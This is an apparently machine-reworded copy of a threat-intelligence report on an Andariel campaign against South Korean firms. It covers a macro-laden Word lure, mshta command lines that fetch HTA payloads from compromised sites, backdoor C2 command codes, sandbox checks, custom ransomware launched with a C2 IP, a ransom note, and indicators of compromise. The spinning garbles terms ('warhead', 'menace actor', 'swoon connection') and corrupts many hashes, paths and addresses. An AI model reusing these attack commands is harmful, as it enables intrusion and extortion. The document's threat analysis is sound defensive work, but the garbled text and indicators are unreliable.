Executive summary

In April 2021, we observed a suspicious Word document with a Korean file name and decoy. It exposed a fiction infection scheme and an unfamiliar payload. While we were doing our research into these findings, Malwarebytes published a nice report with technological detailed information about the same series of assaults, which they attributed to the Lazarus group. After a deep analysis, we came to a more precise conclusion: the Andariel group was behind these attacks. Andariel was designated by the Korean Financial Security Institute as a sub-group of Lazarus.

Our attribution is based on the code overlaps between the second stage payload in this campaign and previous malware from the Andariel group. Apart from the code similarity, we found an additional connection with the Andariel group. Each menace actor has characteristics when they interactively work with a backdoor shell in the post-exploitation phase. The behavior Windows commands and their options were used in this campaign is almost identical to previous Andariel activity.

The threat actor has been spreading the third stage payload from the middle of 2020 onwards and leveraged malicious Word documents and files simulating PDF documents as infection vectors. Notably, in addition to the final backdoor, we detected one victim getting infected with custom ransomware. It adds another facet to this Andariel campaign, which also sought fiscal profit in a previous procedure involving the compromise of ATMs.

For more information please contact: intelreports @kaspersky. com


This research started off with us detecting a suspicious Word document on VirusTotal. It contains an unfamiliar macro and uses fiction techniques to implant the next payload. We detected two infection methods used in these attacks in our telemetry, where each warhead has its own loader for execution in recollection. The menace actor only delivered the final stage payload for selected victims.

Infection procedure

Initial infection or spreading

As pointed out in Malwarebytes’s public report, the actor sent weaponized documents to the victim as an initial infection vector. The documents use sophisticated infection methods to try to impede detection.

MD5 File name Modified hour Author Last saved consumer

ed9aa858ba2c4671ca373496a4dd05d4 camgasinceongseoyangsig.doc

( Form of participation application.doc) 2021-04-13 19:39: 00 William William

The initial infection can be summarized like this 😛 TAGEND

The consumer opens the malicious record and subsequently allows the macro to be executed; A popup message box appears; The current document gets saved to the path% temp% as HTML and accordingly storages all image files separately within the same directory; Show decoy record; Convert% temp %[ document name ]\ image0 03. png to the BMP file format and add the extension. zip; Execute image0 03. zip, which in fact contains HTML Application( HTA) code, with mshta.exe; Remove previously created, temporary files.

The executed image0 03. zip is an HTML Application( HTA) file containing the second stage payload. This HTA code creates the next warhead at the hardcoded path C :/ Users/ Public/ Downloads/ Winvoke.exe.

Besides the Microsoft Word document, the actor applied an additional, alternative infection method according to our telemetry. Although we weren’t able to acquire the initial file, we presume the actor delivered a file disguised as a PDF, since we discovered artefacts containing the path of the tool ezPDFReader: c :\ program files( x86 )\ unidocs \ ezpdfreader2. 0g \ ezpdfwslauncher.exe. This software is developed by a South Korean software company named Unidocs. At this degree, we’re missing clear evidence of whether the attack leveraged a vulnerability within this software in the infection process or it was used to deceive customers by opening a PDF document as a decoy while the HTA payload is retrieved from a remote resource.

Notably, the compromised website www.allamwith [.] com was used for a long period of time. We first ensure the URL appearing in the context of this threat performer in September 2020 and it was still in use when we were researching this series of onslaughts at the end of April 2021.

“C :\ Program Files( x86 )\ Unidocs \ ezPDFReader2. 0G \..\..\..\ Windows \ System3 2 \ mshta.exe” “hxxp :// www.jinjinpig.co [.] kr/ AnyCss/ skin.html”/ publish

“C :\ Program Files( x86 )\ Unidocs \ ezPDFReader2. 0G \..\..\..\ Windows \ System3 2 \ mshta.exe” “hxxp :// adame.ypelec.co [.] kr/ customize/ ypelec/ images/ skin.html”/ print

“C :\ Program Files( x86 )\ Unidocs \ ezPDFReader2. 0G \..\..\..\ Windows \ System3 2 \ mshta.exe” “hxxp :// www.allamwith [.] com/ home/ css/ skin.html”/ publication

“C :\ Program Files \ Unidocs \ ezPDFReader2. 0G \..\..\..\ Windows \ System3 2 \ mshta.exe” “hxxp :// www.conkorea [.] com/ cshop/ skin/ skin.html”/ print

When we analyzed the above malicious URLs, many of the resources had already gone offline, but the attacker is still use one distribution URL: hxxp :// www.allamwith [.] com/ home/ css/ skin.html

The URL hosts still serving the HTML Application( HTA) file exhibit similar parts as the HTA file created by the malicious Word document. However, in the case of vehicles of remotely fetched HTA code with PDF-style assaults, the next warhead gets fallen to a different hardcoded route, located at C :/ customers/ public/ iexplore.exe, and eventually executed.

Comparison of two HTA files

Second stage payload: Simple agent

The second stage payload is responsible for communicating with the C2 server and preparing another payload for the next stage. This second stage malware decrypts the embedded warhead at runtime. It uses an embedded 16 -byte XOR key to decrypt the base6 4 encoded payload. The decrypted warhead is another portable executable file that runs in memory.

XOR key and encrypted payload

The infection procedure of the second stage payload 😛 TAGEND

Create mutex named Microsoft3 2. Resolve API address: base6 4 decoding+ RC4 decryption with the key MicrosoftCorporationValidation @#$%^&*()! US Retrieve C2 addresses: base6 4 deciphering+ custom XOR decryption. Communication with C2.

According to the response from the C2 server, the warhead is able to perform five actions 😛 TAGEND

Identifier Description Response message to C2

1111 Set Sleep() interval 1111%d Success!

1234 Execute received data employing CreateThread() 1234 Success!

8877 Save received data supplied by a local file 8877 Success!

8888 Execute made commands with WinExec API 8888 Success!

9999 Execute made commands with cmd.exe Mail command outcome

The malware operator appears to deliver the third stage payload by using the above functionalities, as our telemetry exposes. Both second and third stage payloads likewise share an identical icon, which looks like Internet Explorer.

Same icon for second stage payload and third stage payload

Third stage payload: Backdoor

The third stage warhead was created via the second stage payload, is interactively executed in the operation and exists in both x64 and x86 versions. Most of them use Internet Explorer or Google Chrome icons and corresponding file names to disguise themselves as legitimate internet browsers. The third stage decrypts the embedded payload and executes it. The embedded warhead shows the same structure as the second stage payload discussed above.

XOR key and encrypted payload

Once launched, it checks for the mutex QD33qhhXKK and inspects the system for signs of a sandbox environment by searching for the presence of specific modules. The strings of module names to be checked are decoded with a hardcoded XOR key: 0x4B762A554559586F6A45656545654130

sbiedll.dll: Sandboxie module api_log.dll: SunBelt SandBox module dir_watch.dll: SunBelt SandBox module

With the environment checks done, the main warhead gets decrypted employing the same XOR key and launched with rundll3 2. exe. Three C2 addresses then get extracted and decrypted using DES, with all address pointing to the same IP( 23.229.111 [.] 197) in this sample. The malware then sends a hardcoded string to the C2 server:” HTTP 1.1/ member.php SSL3. 4 “.

C2 communication

Next, it checks if the C2′ s response data equals” HTTP 1.1 200 OK SSL2. 1″ and, if positive, starts conducting its backdoor operations. The samples contain debug data and thereby expose function names disclosing their purpose 😛 TAGEND

ModuleUpdate: Replace the current module with a batch file ModuleShell: Execute Windows command, alterations working directory, Connect to given IP address ModuleFileManager: Get disk information, File listing, File manipulation ModuleScreenCapture: Take a screenshot


Interestingly, one victim was discovered to have received ransomware after the third stage payload. This ransomware sample is tradition made and specifically developed by the threat actor behind this attack. This ransomware is controlled by command line parameters and can either retrieve an encryption key from the C2 or, alternatively, as an debate at launching time.

Parameters Description# 1 Drive path to encrypt

# 2 Malware takes two types of options 😛 TAGEND

-s and -S option: specify a C2 IP address and port to source an encryption key -k and -K option: specify 32 -byte initial vector( IV) and 32 -byte key from command line parameters

# 3 Depending on parameter# 2 😛 TAGEND

-s/ -S: C2 IP address -k/-K: 32 -byte initial vector( IV) value

# 4 Depend on parameter# 2 😛 TAGEND

-s/ -S: C2 port number -k/-K: 32 -byte encryption key value

# 5 Attacker contact: email address

# 6 File extension to be used for encrypted files/ file epithet of ransom note

# 7 Optional parameter: 24 -character victim ID

We realise the malware executed with the following parameter alternatives in our telemetry, with some parameters illustrated below 😛 TAGENDc :\ temp \ mshelp.exe d: \ -s 23.229.111 [.] 197 3569 sanjgold8 47 @protonmail [.] com 12345 12345 FDDEE5 5667788 99 AABB

Upon launching, the ransomware checks the number of parameters. If the number of arguments is less than six, the malware aborts itself. If there is no extension for the encrypted files specified, the malware uses a default extension (. 3nc004) and a default file name for the ransom note( 3nc004. txt ). If the victim ID is left unspecified, the ransomware makes a random ID 24 characters long.

If the malware is executed with the -s( -S) option, it sends the victim ID to the C2 server and receives the initial vector( IV) and key to encrypt files. Each of the strings has a length of 32 characters. When the ransomware communicates with the C2 server, it uses the same authentication process and strings as the third stage payload.

Strings for C2 authentication

The ransomware utilizes an AES-1 28 CBC mode algorithm to encrypt files on the victim machine. With the exception of system-critical files (“. exe”, “. dll”, “. sys”, .” msiins”, and “. drv” extensions ), the malware encrypts files wholly, irrespective of file size. However, since important system configuration files are affected by the encryption procedure as well, it can lead to an unstable system.

As a final step, it leaves a ransom note on the desktop and in the startup folder and opens it with notepad.exe.

Attention! Attention! Attention!

Your records, photos, databases and other important files are encrypted and have the expansion:[ expansion]

Don’t worry, you can return all your files!

If you just wanted to decrypted all your encrypted files, the only method of recovering files is to purchase decrypt tool and unique key for you.

You just need little bitcoin.

This software will decrypt all your encrypted files.

To get this software you need write on our e – mail:[ Attacker’s email address]

What gurantees do we give to you?

It’s just a business. We absolutely do not care about you and your deals, except getting advantages.

You can send 2 your encrypted file from your PC with your ID and decrypt it for free.

+ — – Warning– -+

Don’t try to change files by yourself, Don’t use any third party software for restoring your data.

You ID:[ 24 characters victim ID]


Historically, the Andariel group was essentially targeted entities in South Korea, which, according to our telemetry, is also the case in this campaign. We substantiated several victims in the manufacturing, home network service, media and construction sectors. Each victim is active in their respective industries and they do not appear to be connected. Therefore, it is not currently possible to determine a precise focus with regard to victimology.

In one instance we discovered that the threat actor delivered ransomware to a victim. This adds a financially motivated slant to these attacks. The Andariel group has already been observed immediately monetizing an operation in a previous case where ATMs were compromised in South Korea.

Targeted industries in South Korea


The Malwarebytes report attributes this attack to the Lazarus group, but based on the custom string decryption routine seen in the second stage payload we came to a different conclusion. This XOR-based decryption routine has been used by Andariel malware for a long time. For instance, this decryption routine has also been used in malware( MD5 9758 efcf9 6343 d0ef83854860195c4b4) we reported earlier to our Threat Intelligence Portal patrons on Andariel’s 2019 activity. In addition, malware( MD5 3703 c22e33629abd440483e0f60abf79) has decreased by a malicious Word document in early 2018- also attributed to Andariel- exhibits the same decryption routine.

Code overlap with previous Andariel malware

An additional indicator pointing to the Andariel group can be discovered in the post-exploitation commands on victim machines. As a rule, each APT actor displays a different command line signature when working interactively via an installed backdoor. As a result of comparing previously find Windows commands delivered by the Andariel group, we can confirm that both cases use the same Windows command options.

When checking network connection with the ” netstat ” command, both cases use the ” -naop ” option in conjunction with the “tcp” Filtering the research results, both cases use the ” findstr ” command instead of ” detect “.

The Lazarus group has been observed employing Windows commands that differ from Andariel, such as preferring the “-ano” option with the “netstat” command and “find” as a filter command, rather than ” findstr “.

Command are exploited by Andariel group in previous examples Commands considered to be in the attacks discussed in this report Commands are exploited by Lazarus group

netstat -naop tcp

netstat -naop tcp | findstr 2008

tasklist | findstr sqlwriter.exe

tasklist | findstr juchmon.exe netstat -naop tcp | findstr LISTEN

tasklist | findstr 3756

tasklist | findstr 15412 netstat -ano | find “: 445”

netstat -ano | discover “EST”

However, apart from the connections to the Andariel group, we discovered two weaker ties to the Lazarus group in the third stage payload. It proves an overlap with the PEBBLEDASH malware family, previously published by CISA. CISA attributed this malware variant to a threat actor they dubbed Hidden Cobra. We called this malware variant Manuscrypt and attributed it to the Lazarus group.

One overlap is a batch script is set out in both instances in order to remove itself:

Identical batch script

Both malware characters itemize local drives and partitions in the process, where both instances use the string “CD Drive” when the current drive kind is “DRIVE_CDROM”.

Same drive checking result

In conclusion, we assess that the Andariel group is behind this attack. However, it also uncovers a swoon connection to the Lazarus group.


The Andariel group has continued to focus on targets in South Korea, but their tools and techniques have evolved significantly. By closely examining the whole infection procedure, we have found that the Andariel group intended to spread ransomware through this attack and, by doing so, they have accentuated their place as a financially motivated state-sponsored actor.

Indicators of compromise

Malicious documents

ed9aa 858 ba2c4671ca373496a4dd05d4 camgasinceongseoyangsig.doc( Application form.doc) 71759cca8c700646b4976b19b9abd6fe saenghwalbijigeub.doc( Payment of living costs.doc) 3ba4c71c6b087e6d06d668bb22a5b59a test3. doc d5e 974 a3386fc99d2932756ca165a451 gyeolyidaehoecoan.doc( Draft for resolving conference.doc)

Second stage warhead( Simple agent)

f4d 46629 ca15313b94992f3798718df7% PUBLIC %\ downloads \ winvoke.exe 118cfa75e386ed45bec297f8865de671% PUBLIC %\ Libraries \ AppStore.exe 53648bf8f0121130edb42c626d7c2fc4 1bb267c96ec2925f6ae3716d831671cf% PUBLIC %\ Libraries \ AlgStore.exe 0812ce08a75e5fc774a114436e88cd06 927f0a1090255bc724953e1f5a09a070% PUBLIC %\ iexplore.exe 145735911e9c8bafa4c9c1d7397199fc iexplore.exe 551c5b3595e9fc1081b5e1f10e3c1a59 iexplore.exe f3fcb 306 cb93489f999e00a7ef63536b 0ecfa51cd4bf1a9841a07bdb5bfcd0ab 4d30612a928faf7643b14bd85d8433cc df1e 7a42c92ecb01290d896dca4e5faa

Third stage payload( Backdoor)

3b1b8702c4d3e2e194c4cc8f09a57d06% PUBLIC %\ chrome.exe ef3a 6978 c7d454f9f6316f2d267f108d 33c2e887c3d337eeffbbd8745bfdfc8f bf4a 822 f04193b953689e277a9e1f4f1 6e710f6f02fdde1e4adf06935a296fd8 38917e8aa02b58b09401383115ab549e 67220baf2a415876bee2d43c11f6e9ad 3bf9b83e00544ac383aaef795e3ded78 ixplore.exe 159ad2afcab80e83397388e495d215a5 21ec5f03aab696f0a239c6ea5e50c014% PUBLIC %\ iexplore.exe b5 874 eb1119327be51ae03adcbf4d3e0% USERPROFILE %\ iexplore.exe 8b378eabcec13c3c925cc7ca4d191f5f 5b387a9130e9b9782ca4c225c8e641b3 25c8e057864126e6648c34581e7b4f20 62eae43a36cbc4ed935d8df007f5650b 8d74112c97e98fef4c5d77200f34e4f2 b5 648 f5e115da778615dfd0dc772b647% USERPROFILE %\ iexplore.exe eef7 23 ff0b5c0b10d391955250f781b3 d1a 99087 fa3793fbc4d0adb26e87efce d6 3bb2c5cd4cfbe8fabf1640b569db6a fffad1 23 bd6df76f94ffc9b384a067fc f3fcb 306 cb93489f999e00a7ef63536b abaeecd8 3a585ec0c5f1153199938e83 569246a3325effa11cb8ff362428ab2c 3b494133f1a673b2b04df4f4f996a25d fc3c 31 bbdbeee9 9aba5f7a735fac7a7e


d9 6fcd2159643684f4573238f530d03b% TEMP %\ mshelp.exe

Second stage C2 servers

hxxp :// ddjm [.] co [.] kr/ bbs/ icon/ scalp/ scalp [.] php hxxp://hivekorea[.]com/jdboard/member/list[.]php hxxp :// mail [.] namusoft [.] kr/ jsp/ consumer/ eam/ board [.] jsp hxxp://mail[.]sisnet[.]co[.]kr/jsp/user/sms/sms_recv[.]jsp hxxp :// snum [.] or [.] kr/ skin_img/ scalp [.] php hxxp://www[.]allamwith[.]com/home/mobile/list[.]php hxxp :// www [.] conkorea [.] com/ cshop/ flag/ list [.] php hxxp://www[.]ddjm[.]co[.]kr/bbs/icon/skin/skin[.]php hxxp :// www [.] jinjinpig [.] co [.] kr/ Anyboard/ scalp/ committee [.] php

Third stage C2 servers

198. 55.119.112: 443 45. 58.112.77: 443 23. 229.111.197 :8 443 23. 229.111.197: 443 185. 208.158.208: 443


Tactic Technique Technique Name

Resource Development T1584.006 T1583. 003 Compromise Infrastructure: Web Services Acquire Infrastructure: Virtual Private Server

Initial Access T1566.001 Phishing: Spearphishing Attachment

Execution T1204.002 T1059. 007 User Execution: Malicious File Command and Scripting Interpreter: JavaScript

Defense Evasion T1036.005 T1027. 003 T1497.001 Masquerading: Match Legitimate Name or Location Obfuscated Files or Information: Steganography Virtualization/Sandbox Evasion: System Checks

Discovery T1049 T1057 System Network Connections Discovery Process Discovery

Collection T1113 Screen Capture

Command and Control T1071.001 T1095 T1573.001 Application Layer Protocol: Web Protocol Non-Application Layer Protocol Encrypted Channel: Symmetric Cryptography

Exfiltration T1041 Exfiltration Over C2 Channel

Impact T1486 Data Encrypted for Impact

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